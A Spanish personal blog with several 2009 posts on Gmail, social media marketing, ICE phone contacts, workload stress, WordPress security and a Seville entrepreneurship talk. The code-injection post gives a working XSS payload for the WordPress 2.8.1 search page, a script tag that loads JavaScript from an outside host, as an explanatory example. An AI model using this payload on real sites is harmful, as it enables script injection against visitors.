Las cosas que nos salen en el gmail. No sabía yo que se podían tener tantos correos
.
Y ya le hemos encontrado un fallo. Dice de miles, y tenemos 1,777 correos. ¿No tendríamos que tener al menos 2,000 para que pueda poner miles?
Las cosas que nos salen en el gmail. No sabía yo que se podían tener tantos correos
.
Y ya le hemos encontrado un fallo. Dice de miles, y tenemos 1,777 correos. ¿No tendríamos que tener al menos 2,000 para que pueda poner miles?
En vez de pagar por poner tu compañía en Twitter, pagar porque la mencionen en Twitter y pagar por posts patrocinados, mejor olvídate de todo eso y ponte a hacer cosas realmente buenas que emocionen a las personas. Forma un excelente equipo y cuando el resultado sea tan bueno que tus amigos se lo recomienden a sus amigos, no vas a necesitar ningún tipo de social media marketing.
Es algo que escribió Matt Haughey (Blogger, Metafilter) y que recuperó marilink aquí.
Y digo yo, ¿por qué es tan difícil que se lo crean? En internet no se puede vivir de hacer ruido. Todos los que han hecho ruido alguna vez (y conocemos a un puñado) después ha quedado en un relativo olvido. Sí, puede que te acuerdes de ellos cuando estés buscando algún servicio determinado, pero tampoco es lo usual. Los que pasan por tu mente son aquellos que están haciendo cosas, que se están moviendo. Son los nombres que escuchas en las cenas con amigos, los nombres que realmente suenan, los que la gente sigue y comenta. Porque, simplemente, son buenos en lo que hacen.
Porque somos así de originales.
Si hay una campaña internacional que recomienda algo, nosotros, a nuestra forma. Si hay un estándar internacional que dice que, en nuestros móviles, debemos usar ICE para saber a quién avisar In Case of Emergency, en un lenguaje internacional, y además viene implantado en los últimos modelos de terminales, nosotros nos los pasamos por el forro.
Si es que… o los de Cruz Roja suponen que somos tan catetos que no vamos a salir de España, o han pensado que para ellos y para el usuario de a pie es más cómodo y que la gente que viaja tiene otro nivel cultural y saben esas cosas (nada más lejos de la realidad, lo demostramos cada vez). O que, como siempre, saben que los españoles somos raritos y se conocen nuestras excentricidades por si se encuentran con alguno de nosotros.
Todas las semanas lo mismo. Llega el viernes por la mañana y todo twitter y la mensajería instantánea están llenos de gente diciendo ‘¡Por fin es viernes!‘ y haciendo planes para el fin de semana. Bendit@s ell@s. Cuando llegan los viernes, no todos compartimos ese sentimiento.
La semana empieza el lunes, normalmente. Para algunos, empieza el domingo sobre las 17h30, hora a la que empezamos a organizar. Un modo de organización un poco extraño. Cambiamos el chip de nuestra cabeza, y pensamos en que tenemos muchas cartas. Cada cosa que tenemos que hacer es una carta, y las vamos organizando en barajas. Cada semana, una baraja. Hay semanas con barajas de 40 cartas, y hay semanas con barajas de 52. Alguna vez también se cuelan comodines, y a veces incluso jugamos con dos barajas. Son semanas en las que, cuando llega el viernes y son las 12 de la mañana, la frase que más puede deprimirnos es la que todos gritan con ilusión.
No hay que hacer mucha especulación acerca de cómo funciona esto. El lunes por la mañana cogemos nuestra baraja de la semana y la organizamos, en forma de un bonito castillo de naipes. Sabemos que los naipes que están más arriba en el castillo son más fáciles de retirar, por lo que el lunes, a media mañana, nuestra sonrisa normalmente llega de oreja a oreja: el trabajo va a buen ritmo, y se ve cómo el castillo va bajando.
Pero no todo es tan fácil. A medida que avanza la semana, irremediablemente se van añadiendo cartas al castillo. Con suerte, al mismo ritmo que se van quitando. Cuando no hay suerte, a un ritmo mayor, que hace crecer el castillo. Y otras veces, sobre todo cuando hay brown dispatching por parte de otros proveedores que no quieren/saben/pueden hacer su trabajo, se forman nuevos pequeños castillos a su alrededor.
Aún con todo esto, el castillo sigue siendo demasiado simple. Hay que agregarle, por supuesto, todos nuestros factores de VidaReal™. Es inevitable que te pongan una reunión sorpresa (o dos) que te vayan a llevar toda la tarde y te hagan terminar a las mil de la noche. O que un viaje, programado semanas antes, se anule dos días antes de salir porque tus acompañantes no tienen ganas de ir. O que al mundo en general le entre ese sentimiento funcionario que hace que nada funcione (¡je!, qué ironía) como debe desde el 15 de julio al 1 de septiembre.
Todas estas cosas, a medida que avanza la semana, son las que se convierten en esas corrientes de aire (por mucho que te hayas asegurado de tener bien cerradas las ventanas) o en esos manotazos involuntarios (sí, justo como en la VidaReal™) que hacen que caigan trozos completos que hay que volver a montar.
Al final, siempre hay un trigger que te hace darte cuenta de que has caído en la rutina. En mi caso, fue el momento en que, después de dos semanas sin salir de casa, el visionado de Perdidos se programó para la tarde en que tenía que salir, en el momento en que salía. En vez del mosqueo que procedía por la situación, fue una liberación: el castillo de Perdidos se desmontó, la baraja se guardó en su funda, y ésta se guardó a su vez en el cajón marcado como ‘para algún futuro u otra realidad paralela‘. A la vez, seguí desmontando castillos, guardándolos en sus fundas, y metiendo éstas en el cajón de ‘para después del verano‘.
Desde esta decisión han crecido más castillos, de los ineludibles. Son esos que, cuando llegan los viernes, te hacen tener un sentimiento de angustia, que el sábado se convierte en estrés, y el domingo, con la nueva programación, hace subir hasta el estómago un pequeño sentimiento de desesperación.
Muchos genios eran (y son) Ásperger. Einstein, Newton, Tim Burton, Gates, Spielberg… Con ellos lo único que comparto es que, si no se me saca de una rutina, funciono mejor. Por eso, estoy deseando que llegue el día 1. Irme de campamento, con 13 días perfectamente estructurados, donde hasta los imprevistos están programados. Porque, ahora mismo, las mejores vacaciones son escapar del caos.
Ahora los jueves me toca escribir en Mecus
Mi artículo de ayer (como siempre, comentarios en el sitio original):
Mucho se habla y se escucha en internet acerca de los peligros de la inyección de código. Sin ir más lejos, si estás leyendo esto, probablemente habrás oído hablar alguna vez de ella.
Muchos te gritan ¡Actualiza a la última versión! ¡Hay problemas de seguridad!
¿Tenemos razones para alarmarnos?
De un tiempo a esta parte, los problemas que existen, si bien no son graves, sí que son potencialmente peligrosos. Eso significa que, en determinadas manos, pueden ser utilizados de formas que nosotros no esperaríamos. Sólo tenemos que ver lo que algunos afirman que pueden hacer con zumo de naranja concentrado y gasolina, o lo que es capaz de hacer MacGyver con un clip.
En nuestro caso, un problema de seguridad no supone un problema en sí mismo, en el sentido de que nada de lo que hay en nuestro sistema dejará de funcionar o funcionará de forma incorrecta. Pero sí deja una puerta abierta en el sistema para que otros puedan aprovecharla. Es lo que se conoce como posibilidad de ejecución remota de código malicioso. Como decíamos, la posibilidad de que alguien ejecute código en tu página también es remota, pero si descubren que tienes esa vulnerabilidad, o están intentando ejecutar algo, no suelen ir con buenas intenciones. Por lo que, lo mejor, es intentar tener el sistema blindado y no permitir que alguien ejecute código desde tu sistema.
Pero escuchamos mucho y no siempre hemos visto qué es eso de una ejecución remota de código malicioso. Sencillo. Imaginaos por ejemplo que tenemos un blog en WordPress 2.8.1. Si en su página de búsqueda intentamos buscar la cadena ‘<script src=http://ha.ckers.org/weird/stallowned.js></script>‘, ocurrirá lo siguiente:
Por supuesto, se podrían ejecutar cosas no tan inocuas (aunque su daño a la vista lo hace). La actualización de seguridad de WordPress 2.8.2 elimina ese error, y no permite la inyección de código.
(Muchas gracias a Pedro Laguna por las orientaciones, el script y sus consultorías desinteresadas).
Si no tienes muy claro cuál es el orden de los iPhones y quieres aprender un poco más, no te pierdas el manual que han hecho en Actualidad Iphone.
Llevo un tiempecito desconectado del blog (adelantando trabajo para terminar unos cuantos proyectos
) y, por tanto, también de los lectores de feeds. Pero hoy Luis me ha mandado un enlace a un artículo que escribía Ignacio de Miguel en Loogic, y no he podido contenerme.
Hablaba de cómo ha cambiado Facebook por la presión de los usuarios, o cómo algunas empresas, como Movable Type, caían por no saber tratar a sus usuarios. Y hablaba de WordPress. Creo que su punto de vista es un poco limitado. Limitado desde mi punto de vista, que no es difícil (trabajo con WordPress, estudio funciones de WordPress, programo Widgets de WordPress, sueño con WordPress…).
Lo que él cuenta está en este artículo. Y mi respuesta, aquí abajo. Hay partes que me recuerdan que todavía tengo uno o dos artículos por escribir.
Ya han contado en los comentarios un poco del tema, pero creo que hay que puntualizar unas cuantas cosas.
1.- La seguridad.
Si te fijas, a lo largo de la historia siempre se ha dicho que Linux ha tenido muchos más fallos de seguridad que Windows. Y es verdad. Principalmente porque tiene una comunidad de usuarios que, si tienen problemas, los reportan y se arreglan. Sólo hay que ver lo animados que están los foros y la cantidad de recursos que hay en ellos. (http://wordpress.org/support/)
Cuantos más usuarios utilicen un software, más errores se encontrarán, porque la experiencia de uso de cada uno es distinta. Y eso es lo que lo hace grande.2.- La comunidad de programadores.
En WP existe una comunidad de programadores, absolutamente abierta para todo el mundo, que vela por la seguridad de sus usuarios y les pregunta antes de emprender nuevas acciones. Quizá ese modelo de negocio es el que ha hecho de WordPress un sistema con una comunidad de usuarios tan sólida.3.- Vulnerabilidades.
Hmmm… Complicado. Hay que luchar contra las vulnerabilidades propias de WordPress (normalmente, algún typo o un olvido que deja abierta una puerta). Pero también hay que luchar contra las vulnerabilidades de Apache, de IIS, de PHP, de MySQL y de MSSQL. La última vulnerabilidad, que ha hecho que la gente tenga que actualizar rápidamente, ha sido un olvido de una función htmlentities(). Qué le vamos a hacer, todavía somos humanos y estas cosas pasan. Debo decir, por tanto, que decir que hay que procurar limitar las vulnerabilidades es exagerado teniendo en cuenta la cantidad de errores que se cometen. Si comparáramos con otros sistemas, probablemente no encontraríamos muchas cosas más seguras.4.- Actualizaciones.
Las actualizaciones ya no son un coñazo. Actualizar es hacer un simple click. Tanto para el sistema como para los plugins. Si la cosa no te funciona con un click, es que tienes mal configurado tu servidor. Y ahí ya te tienes que plantear si deberías ser mejor usuario de wordpress.com o si deberías hablar con tu proveedor.5.- Certificaciones de plugins y temas.
Todos los plugins y temas que están en el repositorio de WordPress han pasado por los filtros de verificación y seguridad. Hay dos personas, una para cada sector, dedicadas a revisar y aprobar los temas y plugins para que entren en el repositorio oficial. Si instalas algo que no esté en el repositorio, como se suele decir, lo haces at your own risk, porque lo haces sin garantías.
Si eres usuario de WordPress.com no tendrás problemas, ya que sólo puedes utilizar plugins y temas que estén en el repositorio oficial.Creo que estas puntualizaciones son necesarias para terminar de entender lo que has escrito
.
Como siempre, fusilo de otro blog.
El próximo jueves 09 de julio tendremos como ponente, en Iniciador Sevilla, a Felipe G. Gil de ZEMOS98 Gestión Creativo Cultural.
ZEMOS98 Gestión Creativo Cultural está al sur de Europa, es un grupo, un equipo, una red, experimenta con los formatos, es un concepto, un conjunto de ideas entrelazadas en las que intervienen muchas palabras clave y las intersecciones entre ellas y ofrece una visión contemporánea de la producción cultural.
ZEMOS98 Gestión Creativo Cultural es una iniciativa privada formada por un equipo que trabaja en la investigación de nuevas formas narrativas (internet, vídeo digital, net.radio, Weblogs, copyleft, rss…) y en la producción de eventos culturales como el Festival Internacional ZEMOS98, donde se abordan cuestiones relacionadas con comunicación, educación y cultura digital.
El título de la ponencia es “Emprender en beta“.
Ficha:
- Día: jueves 09 de julio de 2009 de 19:00 a 21:00 horas. Entrada libre hasta completar el aforo.
- Lugar: Edificio CREA. Auditorio. Sevilla Global (Avd. José Galán Merino, s/n. 41015 – Sevilla) Teléfono: 954 467 555 Cómo llegar
- Ponente: Felipe G. Gil de ZEMOS98
Nos vemos allí mañana por la tarde